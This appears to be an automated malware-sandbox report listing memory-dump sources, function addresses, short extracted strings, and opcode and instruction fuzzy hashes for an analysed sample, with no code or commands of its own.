Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: #$#$4$U$b
API String ID: 0-32737763
Opcode ID: f4539070b2881cc713609855e1be5281f0b89ebd013b3314d2c1eb6e1d25dcc7
Instruction ID: 74e9c954f76c95babac2a4efb4ab9b91038af95e55fe4a7a06b1a5c005c6f347
Opcode Fuzzy Hash: f4539070b2881cc713609855e1be5281f0b89ebd013b3314d2c1eb6e1d25dcc7
Instruction Fuzzy Hash: 7EB1DA31028A268BC31CEB28E8954FAB3D4FBD2325F608B6DE4D7834D1D73559079B82

Uniqueness

Uniqueness Score: -1.00%

Function 01231357 Relevance: 6.5, Strings: 5, Instructions: 290COMMON

Download Yara Rule

Strings

W, xrefs: 01231388
D, xrefs: 01153673
8i)I, xrefs: 01231357
[, xrefs: 0111831E
d, xrefs: 0101FA60

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: W$8i)I$D$[$d
API String ID: 0-3139631667
Opcode ID: 5812b7b6d30df95f917604048b8c678fb88efba4a082f174c5ccf27024bdba11
Instruction ID: 2ecb07ffaf31a598e9b80cd723c726cb35f093c90bc4f9e47c346cc9010899f3
Opcode Fuzzy Hash: 5812b7b6d30df95f917604048b8c678fb88efba4a082f174c5ccf27024bdba11
Instruction Fuzzy Hash: BEA166311187168BD719DF38D8409A7B7E2FBC6324F54CB2DD6AAC72C5D73A911A8A80

Uniqueness

Uniqueness Score: -1.00%

Function 0118985F Relevance: 6.5, Strings: 5, Instructions: 290COMMON

Download Yara Rule

Strings

&, xrefs: 011F6814
+, xrefs: 011CE8CF
A, xrefs: 01189917
z, xrefs: 011F67D9
h, xrefs: 011F6826

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: &$+$A$h$z
API String ID: 0-1986397153
Opcode ID: d4cda3dc37b6fbb6840b4816e31dd01db000151cc28f3a05fb7688b851d53ac6
Instruction ID: 2efcbd8954f5e4b48aa45be4f08f0a17922dc59274679ac634d771049641a24a
Opcode Fuzzy Hash: d4cda3dc37b6fbb6840b4816e31dd01db000151cc28f3a05fb7688b851d53ac6
Instruction Fuzzy Hash: 94A17A31418B564BC718EF28E4804ABB7E2FBD5320F60973DD5D2834E6DB39141ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 00F96A89 Relevance: 6.5, Strings: 5, Instructions: 271COMMON

Download Yara Rule

Strings

NHyJ, xrefs: 00F96C24
HwuJ, xrefs: 00F96C16
Wk, xrefs: 00F96BF3
CJAr, xrefs: 00F96C32
dTd`, xrefs: 00F96BFA

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: CJAr$HwuJ$NHyJ$dTd`$Wk
API String ID: 0-4259966950
Opcode ID: bf921db65564c411bb990eb5653a23294ba8ff76f99f9c3f5a1f48ba57941f69
Instruction ID: f3276055f110e7d81ec2001621d3feceeb9e4b479c252faf875039396044ad3d
Opcode Fuzzy Hash: bf921db65564c411bb990eb5653a23294ba8ff76f99f9c3f5a1f48ba57941f69
Instruction Fuzzy Hash: BFA15D71904B808BEB2ACF34C4A07A3BBE1FB56354F18896DC1E78B792D739A405DB54

Uniqueness

Uniqueness Score: -1.00%

Function 011073EC Relevance: 6.4, Strings: 5, Instructions: 155COMMON

Download Yara Rule

Strings

N, xrefs: 011FA00D
w, xrefs: 011F9FF2
B, xrefs: 01174A68
U, xrefs: 01110670
", xrefs: 0111065A

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: "$B$N$U$w
API String ID: 0-3858155124
Opcode ID: 39e7749fafca2081dfcb3541e99e4cd267c53731f20c3753cdec4ea7b7a21376
Instruction ID: d1db797d7d5e0ea9d3906d6722ba2bddb87a6cbb4ac5755b4a788d60835b39ee
Opcode Fuzzy Hash: 39e7749fafca2081dfcb3541e99e4cd267c53731f20c3753cdec4ea7b7a21376
Instruction Fuzzy Hash: B65105711182028BC718EF2CD4905EBB7E1FFC9324FA09B7DA1968B5C5D735541ACB45

Uniqueness

Uniqueness Score: -1.00%

Function 011F9EF6 Relevance: 6.3, Strings: 5, Instructions: 93COMMON

Download Yara Rule

Strings

N, xrefs: 011FA00D
=, xrefs: 0109585B
w, xrefs: 011F9FF2
A, xrefs: 011F9F7C
k, xrefs: 011F9FA3

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: =$A$N$k$w
API String ID: 0-2308086227
Opcode ID: 71d43f49cd3560bf2f007385f42dfeb8bbe2fed6a23b59a94d39d08356bf5a38
Instruction ID: 33915ac203d203f5974c48b7dcd57943e422bce156e678463f28e7954b06b0c5
Opcode Fuzzy Hash: 71d43f49cd3560bf2f007385f42dfeb8bbe2fed6a23b59a94d39d08356bf5a38
Instruction Fuzzy Hash: 18318776108B2B46C32CFB28A5004EAB7E1EBE1314F609B3DC596571C6DBB4442AC78A

Uniqueness

Uniqueness Score: -1.00%

Function 010274E5 Relevance: 5.5, Strings: 4, Instructions: 461COMMON

Download Yara Rule

Strings

_, xrefs: 0113A67C
,, xrefs: 0113A645
F, xrefs: 010D1C09
$s/e, xrefs: 010274FB

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: $s/e$,$F$_
API String ID: 0-1555941001
Opcode ID: 0ac978dca632c75e06e2fe2d2dc3bba75fc5540b8b57df9351997fed25416bcd
Instruction ID: 05a80261e75664a29ae48d1a7e49bb0e8e2d80135eef36094b0eeab855a88c9f
Opcode Fuzzy Hash: 0ac978dca632c75e06e2fe2d2dc3bba75fc5540b8b57df9351997fed25416bcd
Instruction Fuzzy Hash: F1E19639518A278BD70CEA2CE8804FAB3D1EBC5320F509B3DD997C71D1DB79A5178A81

Uniqueness

Uniqueness Score: -1.00%

Function 010BF54F Relevance: 5.4, Strings: 4, Instructions: 441COMMON

Download Yara Rule

Strings

#, xrefs: 00FDCBFB
q, xrefs: 011A4E36
S, xrefs: 011A4E23
2, xrefs: 00FDCC31

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: #$2$S$q
API String ID: 0-3013957685
Opcode ID: 05f1fa37a0bf24fdc0c11ee91b31d71c4cd700aaf3c788536e37c4c346ee53f4
Instruction ID: 3906b2c5e03cee1427e276b43af0ad33e94432ea5e5c19b2d4c04cbba03dcd7a
Opcode Fuzzy Hash: 05f1fa37a0bf24fdc0c11ee91b31d71c4cd700aaf3c788536e37c4c346ee53f4
Instruction Fuzzy Hash: CDF1B7325087168BC72CEF28E8516FAB3E2FBD8310F508A7ED58AC7584DB74551ACB81

Uniqueness

Uniqueness Score: -1.00%

Function 0114BCCE Relevance: 5.3, Strings: 4, Instructions: 343COMMON

Download Yara Rule

Strings

], xrefs: 0117B02F
F, xrefs: 01021502
N=>, xrefs: 011BE220
?, xrefs: 0114BDAA

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: N=>$?$F$]
API String ID: 0-3867790963
Opcode ID: 5377c9269bac422ef5a1360770a7bd223a6417b2b6812a22cabab4f364817703
Instruction ID: 2b48cd91989f044654a9199d0f5918a2648fe732d40147be5377132fae7bed8d
Opcode Fuzzy Hash: 5377c9269bac422ef5a1360770a7bd223a6417b2b6812a22cabab4f364817703
Instruction Fuzzy Hash: 9DA1FC32A18B6A8BC31CEE78D8814BAB3E1EBE2311F148B2DD4D7C3195DB3654178785

Uniqueness

Uniqueness Score: -1.00%

Function 010D90EE Relevance: 5.3, Strings: 4, Instructions: 292COMMON

Download Yara Rule

Strings

*.(), xrefs: 010D914D
kX+H, xrefs: 010D918F
E, xrefs: 011D9F4B
:x*R, xrefs: 010D9254

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: *.()$:x*R$E$kX+H
API String ID: 0-1144944060
Opcode ID: 9becbef5f35598c9775e7536d6dc1ec6737e3bf422eba51788589e0a4953532b
Instruction ID: 8bd62f103fea6e746750c72ff99d2b8f36866177c7759de25a7c91e9ea3cfe1c
Opcode Fuzzy Hash: 9becbef5f35598c9775e7536d6dc1ec6737e3bf422eba51788589e0a4953532b
Instruction Fuzzy Hash: 06A1AB351142578BC319EF78D8908FAB7E2FF95314B94876EC082CB6C5EB34941ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 0111C2D4 Relevance: 5.3, Strings: 4, Instructions: 291COMMON

Download Yara Rule

Strings

5, xrefs: 012311F4
B, xrefs: 0107BD07
=@8d, xrefs: 0111C2D4
a, xrefs: 012311BC

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: 5$=@8d$B$a
API String ID: 0-4211491986
Opcode ID: 7daa3bc0a738354008845a160e21df30b56357f5f6b1746e2e1aa486857b1f3b
Instruction ID: 52debb5937a2e146414e30ae84adb3d4b1bb672a5eacea5b86f128a761189d26
Opcode Fuzzy Hash: 7daa3bc0a738354008845a160e21df30b56357f5f6b1746e2e1aa486857b1f3b
Instruction Fuzzy Hash: 35A1C7725286168FC31CEF28E8804AAB3E6EBE5325F208B3DD493C75D5E7756416CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00FCBBEE Relevance: 5.2, Strings: 4, Instructions: 189COMMON

Download Yara Rule

Strings

I, xrefs: 01218830
#, xrefs: 00FDCBFB
o, xrefs: 010659B0
2, xrefs: 00FDCC31

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: #$2$I$o
API String ID: 0-1478181872
Opcode ID: a3dae8a1cd2642693919e11b8ec02fb62fcb41d0e4c80c34d4996e17816b7ddf
Instruction ID: c6e36c8b1dafec269b4801a1ed137d90aba01da35a429cb6124d7a53e7de37ef
Opcode Fuzzy Hash: a3dae8a1cd2642693919e11b8ec02fb62fcb41d0e4c80c34d4996e17816b7ddf
Instruction Fuzzy Hash: 3A619671018B964BD309EF28A8416ABB7E6FBD5314F60CA7DC0DAC75A4C3758817CB82

Uniqueness

Uniqueness Score: -1.00%

Function 011CA3BD Relevance: 5.2, Strings: 4, Instructions: 179COMMON

Download Yara Rule

Strings

%, xrefs: 011A3550
}, xrefs: 011A3569
&Q2D, xrefs: 011A3615
6r:r, xrefs: 011A35B9

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: %$&Q2D$6r:r$}
API String ID: 0-1384239118
Opcode ID: 3a8689b6923b37675a02124225d7224270f97973ef0f98e13213e2f810db5f7a
Instruction ID: 3f11861f354c8cc0380c93bc111a908a505a5dd177704937b336b956fadd4aa4
Opcode Fuzzy Hash: 3a8689b6923b37675a02124225d7224270f97973ef0f98e13213e2f810db5f7a
Instruction Fuzzy Hash: A5517735618A1B4BC31DEF2DA8801B6B392FFC1325F64873DC48B935A5E77664178A81

Uniqueness

Uniqueness Score: -1.00%

Function 010D3056 Relevance: 5.2, Strings: 4, Instructions: 165COMMON

Download Yara Rule

Strings

k, xrefs: 010D30F3
d, xrefs: 010D309A
~|$, xrefs: 010722C8
", xrefs: 010D3184

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: "$d$k$~|$
API String ID: 0-1938005566
Opcode ID: 3711ebe357631d42fafcdbcceb57bf2978fa4c6717e484e58a98258358d38510
Instruction ID: 6af6a824938edb4b4fdca20434777f48d508ee40cb57eadbc15bdc654bc6e28f
Opcode Fuzzy Hash: 3711ebe357631d42fafcdbcceb57bf2978fa4c6717e484e58a98258358d38510
Instruction Fuzzy Hash: 3B519C3151C7928BD709EB38EC500AAB3E1EBD6324F544B3DE1E28B1D5EB695009DB82

Uniqueness

Uniqueness Score: -1.00%

Function 01248FBC Relevance: 5.2, Strings: 4, Instructions: 163COMMON

Download Yara Rule

Strings

/, xrefs: 011E5F45
A, xrefs: 01198D8B
f, xrefs: 011E5E94
%, xrefs: 01198DCB

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: %$/$A$f
API String ID: 0-3564424421
Opcode ID: 8ad2fd8c7dd803855b62d74efb0cad7aef65d8380646cdc4dc2de38a69ad27e7
Instruction ID: b8155dbd1fb9a278e2a53590332897b38d1bf4d97278b7fcaabe2357816b0bfc
Opcode Fuzzy Hash: 8ad2fd8c7dd803855b62d74efb0cad7aef65d8380646cdc4dc2de38a69ad27e7
Instruction Fuzzy Hash: FB5155725087029FC708EF38E4444AEB7E2FBD5314F64CA2DE59ACB195EB31844ACB46

Uniqueness

Uniqueness Score: -1.00%

Function 011749F1 Relevance: 5.1, Strings: 4, Instructions: 120COMMON

Download Yara Rule

Strings

B, xrefs: 01174A68
E, xrefs: 01174A06
U, xrefs: 01110670
", xrefs: 0111065A

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: "$B$E$U
API String ID: 0-3366488157
Opcode ID: dd7b1cc8703cdf5fcd4b7fb3481b57bd3a65c47217707e7408c15762180fb131
Instruction ID: cdc449670fa3ef24691a62ea13ba0529245cbb4b255a5068e47d4b32b60e5860
Opcode Fuzzy Hash: dd7b1cc8703cdf5fcd4b7fb3481b57bd3a65c47217707e7408c15762180fb131
Instruction Fuzzy Hash: C24177751283429FC318EB39D4801EBB7E0FBC5324F948B6DA096C7585E734A81ACB02

Uniqueness

Uniqueness Score: -1.00%

Function 00F816C0 Relevance: 4.4, Strings: 3, Instructions: 615COMMON

Download Yara Rule

Strings

true, xrefs: 00F81849
false, xrefs: 00F81861
null, xrefs: 00F8197E

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: false$null$true
API String ID: 0-2913297407
Opcode ID: 72a24145fbf41842cc86e4a80988e69b4bd4d0e4e4819ab5018c7e42025e6dd2
Instruction ID: c8dbe232fb075efd44e241c5026f6e0d08e6d4314c37497b2d95ae41d0917f3d
Opcode Fuzzy Hash: 72a24145fbf41842cc86e4a80988e69b4bd4d0e4e4819ab5018c7e42025e6dd2
Instruction Fuzzy Hash: E01209B5A003099BD7107F25DC857AABBECBF40354F18473CE88687252EB39D916EB52

Uniqueness

Uniqueness Score: -1.00%

Function 010FFDF4 Relevance: 4.2, Strings: 3, Instructions: 471COMMON

Download Yara Rule

Strings

b, xrefs: 010F8C14
N, xrefs: 010F8BFB
~|$, xrefs: 010722C8

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: N$b$~|$
API String ID: 0-1856176423
Opcode ID: 9dd5286ea294ab5c06cd2260796897bdce497292228f6e92b62446e3719f0d3b
Instruction ID: 72ce0f70c89e4bda51b5bf4ad4e1118efde7737d785ba209e4b3f698de268d68
Opcode Fuzzy Hash: 9dd5286ea294ab5c06cd2260796897bdce497292228f6e92b62446e3719f0d3b
Instruction Fuzzy Hash: 5CF1A732118B228BC31CEF3898951FAB3E1EFD6321F948A2DD5DAC71D5DB355416CA81

Uniqueness

Uniqueness Score: -1.00%

Function 00FCDA17 Relevance: 4.1, Strings: 3, Instructions: 333COMMON

Download Yara Rule

Strings

!, xrefs: 00FCDA66
a, xrefs: 0119EDA0
~|$, xrefs: 010722C8

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
